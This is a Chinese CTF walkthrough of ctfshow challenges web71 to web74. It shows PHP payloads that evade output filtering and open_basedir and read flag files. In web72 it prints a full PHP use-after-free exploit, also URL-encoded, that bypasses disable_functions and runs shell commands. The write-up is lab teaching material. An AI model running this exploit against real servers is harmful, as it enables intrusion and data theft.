ctfshow-web入门-命令执行（web71-web74）

目录

1、web71

2、web72

3、web73

4、web74

1、web71

像上一题那样扫描但是输出全是问号

查看提示：我们可以结合 exit() 函数执行php代码让后面的匹配缓冲区不执行直接退出。

payload：

c=var_export(scandir('/'));exit();

同理读取 flag.txt

c=include("/flag.txt");exit();

ctfshow{a9800fd2-9767-40e5-a824-106718643f80}

才发现这道题给了 index.php 的源码

查看一下，这里会将字母和数字都替换为问号进行输出 

我们直接在执行完 include 包含语句后执行 exit 强制退出，从而实现绕过 preg_replace 的执行。

2、web72

下载 index.php ，发现与上一道题一样

但是目录扫描，发现只有权限扫当前目录下的文件：

无法扫到上层路径下的文件，当然也包括根目录下的：

尝试使用 scandir() 函数来扫描根目录，但由于 open_basedir 限制，这个操作被禁止了。

open_basedir 是 PHP 的一个安全配置指令，用来限制 PHP 脚本只能访问特定的目录。

当前配置只允许访问 /var/www/html/ 目录及其子目录，但不允许访问其他目录。

使用 glob:// 伪协议绕过 open_basedir，读取根目录下的文件，payload：

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

或者不要 ?><?php 和 ?>

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

解释：

$a = new DirectoryIterator("glob:///*"); // 创建一个DirectoryIterator对象，遍历根目录
foreach ($a as $f) { // 遍历每个条目echo($f->__toString() . ' '); // 输出条目的名称，并添加一个空格
}
exit(0); // 终止脚本执行


c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit();

解释： 

$a = opendir("glob:///*"); // 打开根目录，并将目录句柄赋值给$a
while (($file = readdir($a)) !== false) { // 循环读取目录中的每个条目echo $file . "<br>"; // 输出每个条目的名称，并添加HTML换行标签
};
exit(); // 终止脚本执行

发现存在 flag0.txt 

利用uaf的脚本进行命令利用uaf的脚本进行命令执行执行：

尝试执行ls /; cat /flag0.txt命令

c=?><?php
pwn("ls /;cat /flag0.txt");function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace(); # ;)if(!isset($backtrace[1]['args'])) { # PHP >= 7.4$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf('%c',$ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf('%c',$v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if UAF fails$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}

URL 编码后传入，payload：

c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d

拿到 flag：ctfshow{3deb8d00-68e6-4c20-a971-3fbf3382ec45} 

3、web73

用上一题的方法先读：

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

发现根目录下存在 flagc.txt 

也可以使用前面的目录扫描：

c=var_export(scandir('/'));exit();

还可以使用 echo 输出指定数组索引的文件：

c=echo(scandir("/")[6]);exit();

这道题可以直接使用 include 进行包含：

c=include('/flagc.txt');exit(0);

拿到 flag：ctfshow{8fccf5bc-5681-4815-b7ce-0b81772b6f7c}

4、web74

scandir() 又被禁用了

采用 glob 协议读取：

c=$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit();

存在 flagx.txt 

包含：

c=include("/flagx.txt");exit();

拿到 flag：ctfshow{35309fb4-36c5-4080-874a-6eaa85e03ff0}

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